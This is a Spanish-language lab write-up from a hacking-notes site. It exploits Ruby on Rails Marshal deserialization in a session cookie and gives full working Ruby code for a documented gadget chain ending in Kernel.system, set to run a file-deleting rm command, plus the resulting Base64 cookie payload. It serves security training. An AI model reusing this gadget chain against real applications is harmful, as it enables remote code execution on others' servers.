> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/deserialization/ruby-deserialization-with-documented-gadget-chain.md).

# Deserialización de Ruby con un gadget documentado

### Explotación de la deserialización de Ruby usando una cadena de gadgets documentada

**Contexto del laboratorio**

Este laboratorio utiliza un mecanismo de sesión basado en serialización y se basa en el **Ruby on Rails** framework. / Existen gadgets documentados públicamente\*\* que permiten una \*\* ejecución remota de código (NCE)\*\* mediante `Marshal`.

Objetivo:/ Crear un objeto serializado malicioso, inyectarlo en la cookie de sesión y eliminar el archivo:

```bash
/home/carlos/morale.txt
```

Identificador proporcionado:

wiener : peter

**Análisis de la sesión**

Tras la autenticación, el servidor proporciona una cookie de sesión serializada en Base64:

{% code overflow="wrap" %}

```bash
BAhvOglVc2VyBzoOQHVzZXJuYW1lSSILd2llbmVyBjoGRUY6EkBhY2Nlc3NfdG9rZW5JIiV6YmI1YWVjejlrZXJzajU3bHZsanloaXQyanR6aTNsMgY7B0YK
```

{% endcode %}

Esto indica claramente el uso de `Marshal.dump` en el lado del servidor.

Se utiliza una cadena de gadgets documentada basada en las siguientes clases de Ruby:

* `Gem::SpecFetcher`
* `Gem::Installer`
* `Gem::Requirement`
* `Gem::RequestSet`
* `Net::WriteAdapter`
* `Gem::Package::TarReader`

Esta cadena provoca una llamada a `Kernel.system`.

**Construcción de la carga útil Ruby**

El siguiente código se utiliza para crear un objeto serializado que ejecuta el comando objetivo:

```ruby
# Cargar automáticamente las clases requeridas
Gem::SpecFetcher
Gem::Installer

# evitar que la carga útil se ejecute cuando la serializamos con Marshal.dump
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload
```

```ruby
[cGem::SpecFetchercGem::InstallerU:Gem::Requirement[o:
Gem::Package::TarReader:@ioo:Net::BufferedIO;o:#Gem::Package::TarReader::Entry:
@readi:
@headerI"aaa:ET:@debug_outputo:Net::WriteAdapter:
@socketo:Gem::RequestSet:
@setso;;m
Kernel:@method_id:
system:
@git_setI"rm /home/carlos/morale.txt;
T;:
resolve
```

<figure><img src="/files/b4a7fc5513b161b3c8adf1403e1d47022eeae575" alt=""><figcaption></figcaption></figure>

**Codificación en Base64**

Para inyectar la carga útil en la cookie de sesión, se codifica en Base64:

```java
puts Base64.encode64(payload)
```

Cadena final obtenida:

{% code overflow="wrap" %}

```bash
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ==
```

{% endcode %}

<figure><img src="/files/09d28f9954030383cace11234b3416f536fa4f63" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/deserialization/ruby-deserialization-with-documented-gadget-chain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.